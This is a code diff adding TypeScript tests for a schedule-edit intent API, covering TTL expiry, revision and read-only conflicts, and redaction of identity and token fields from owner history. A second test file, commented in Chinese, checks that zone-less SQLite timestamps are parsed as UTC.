+ expect(contradictory.body.error).toBe("intent_already_terminal");
268
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_applied'")!.count).toBe(1);
269
+ });
270
+
271
+ test("a delivered intent expires with its TTL and cannot permanently wedge single-flight", async () => {
272
+ db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
273
+ const created = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
274
+ method: "POST",
275
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
276
+ });
277
+ expect(created.status).toBe(202);
278
+ const claimed = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
279
+ expect(claimed.body.intent.intent_id).toBe(created.body.intent.intent_id);
280
+ db.run("UPDATE external_schedule_edits SET expires_at = ?1 WHERE intent_id = ?2", [Date.now() - 1, created.body.intent.intent_id]);
281
+ const afterExpiry = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
282
+ expect(afterExpiry.body.intent).toBeNull();
283
+ expect(db.get<any>("SELECT status FROM external_schedule_edits WHERE intent_id = ?1", created.body.intent.intent_id)!.status).toBe("expired");
284
+
285
+ const replacement = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
286
+ method: "POST",
287
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
288
+ });
289
+ expect(replacement.status).toBe(202);
290
+ db.run("DELETE FROM external_schedule_edits WHERE intent_id IN (?1, ?2)", [created.body.intent.intent_id, replacement.body.intent.intent_id]);
291
+ });
292
+
293
+ test("stale snapshot revision and read-only schedules fail closed without creating intent", async () => {
294
+ db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
295
+ const stale = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
296
+ method: "POST",
297
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch: { enabled: false } }),
298
+ });
299
+ expect(stale.status).toBe(409);
300
+ expect(stale.body.error).toBe("revision_conflict");
301
+
302
+ db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+2 second') WHERE node_id = ?2", [snapshot(8, { editable: false }), nodeId]);
303
+ const readOnly = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
304
+ method: "POST",
305
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
306
+ });
307
+ expect(readOnly.status).toBe(409);
308
+ expect(readOnly.body.error).toBe("schedule_read_only");
309
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
310
+ });
311
+
312
+ test("owner history exposes no identity, token, network, or command metadata", async () => {
313
+ const listed = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits?network_id=${encodeURIComponent(networkId)}`);
314
+ expect(listed.status).toBe(200);
315
+ expect(listed.body.edits).toHaveLength(1);
316
+ const serialized = JSON.stringify(listed.body);
317
+ for (const secretField of ["created_by_user", "created_by_token", "consumed_by_token", "network_id", "command", "path", "env"]) {
318
+ expect(serialized).not.toContain(secretField);
319
+ }
320
+ });
321
+ });
@@ -0,0 +1,64 @@
1
+ import { describe, expect, it } from "bun:test";
2
+ import { parseHubTimestamp } from "./hub-timestamp";
3
+
4
+ // #1650 —— external-schedule-edits 的 publicEdit() 原先对四个时间列直接
5
+ // `new Date(row.x).toISOString()`。这些列是 SQLite `datetime('now')` 家族:
6
+ // **UTC 但不带时区标记**,而 JS 对「有时间、无偏移」的串按**本机时区**解析,
7
+ // 且不报错 ⇒ 发给 API 消费方的是一个错的时刻。
8
+
9
+ function hubIso(raw: unknown): string | null {
10
+ const ms = parseHubTimestamp(raw);
11
+ return ms === null ? null : new Date(ms).toISOString();
12
+ }
13
+
14
+ describe("#1650 hub 时间戳按 UTC 解析", () => {
15
+ it("🔴 无时区标记的串按 UTC 解析,不按本机时区", () => {
16
+ expect(hubIso("2026-08-30 21:04:11")).toBe("2026-08-30T21:04:11.000Z");
17
+ });
18
+
19
+ it("🔴 反向见证:旧写法在非 UTC 机器上会给出不同的结果", () => {
20
+ const old = new Date("2026-08-30 21:04:11").toISOString();
21
+ const now = hubIso("2026-08-30 21:04:11")!;
22
+ // 只有当本机恰好是 UTC 时两者才相同;此处断言的是「新写法等于 UTC 语义」,
23
+ // 而 old 的值取决于运行机器 —— 所以只在两者不同时才有对比意义。
24
+ const offsetMin = new Date("2026-08-30T21:04:11Z").getTimezoneOffset();
25
+ if (offsetMin !== 0) expect(old).not.toBe(now);
26
+ expect(now).toBe("2026-08-30T21:04:11.000Z");
27
+ });
28
+
29
+ it("带 Z 的串保持原意", () => {
30
+ expect(hubIso("2026-08-30T21:04:11Z")).toBe("2026-08-30T21:04:11.000Z");
31
+ });
32
+
33
+ it("🔴 垃圾串返回 null,而不是抛 RangeError(旧写法会把接口打成 500)", () => {
34
+ expect(hubIso("not-a-date")).toBeNull();
35
+ expect(hubIso(null)).toBeNull();
36
+ expect(hubIso(undefined)).toBeNull();
37
+ expect(() => new Date("not-a-date").toISOString()).toThrow();
38
+ });
39
+ });
40
+
41
+ // 🔴 上面四条测的是 helper 的语义。真正要钉住的是**那个文件用了它**——
42
+ // 否则 helper 再对,publicEdit 里改回 `new Date(row.x)` 也照样全绿。
43
+ import { readFileSync } from "node:fs";
44
+ import { join } from "node:path";
45
+
46
+ describe("#1650 publicEdit 必须走 hubIso,不能有裸 new Date(row.*)", () => {
47
+ const SRC = readFileSync(join(import.meta.dir, "external-schedule-edits.ts"), "utf-8");
48
+ const CODE = SRC.split("\n").filter(l => !/^\s*(\/\/|\*|\/\*)/.test(l)).join("\n");
49
+
50
+ it("🔴 源码里不再有裸 new Date(row.…)", () => {
51
+ expect(/new Date\(row\./.test(CODE)).toBe(false);
52
+ });
53
+
54
+ it("四个时间列都走 hubIso", () => {
55
+ for (const f of ["expires_at", "created_at", "delivered_at", "acked_at"]) {
56
+ expect(CODE).toContain(`${f}: hubIso(row.${f})`);
57
+ }
58
+ });
59
+
60
+ it("hubIso 复用 parseHubTimestamp,没有第二套判据", () => {
61
+ expect(CODE).toContain('from "./hub-timestamp"');
62
+ expect(CODE).toContain("parseHubTimestamp(raw)");
63
+ });
64
+ });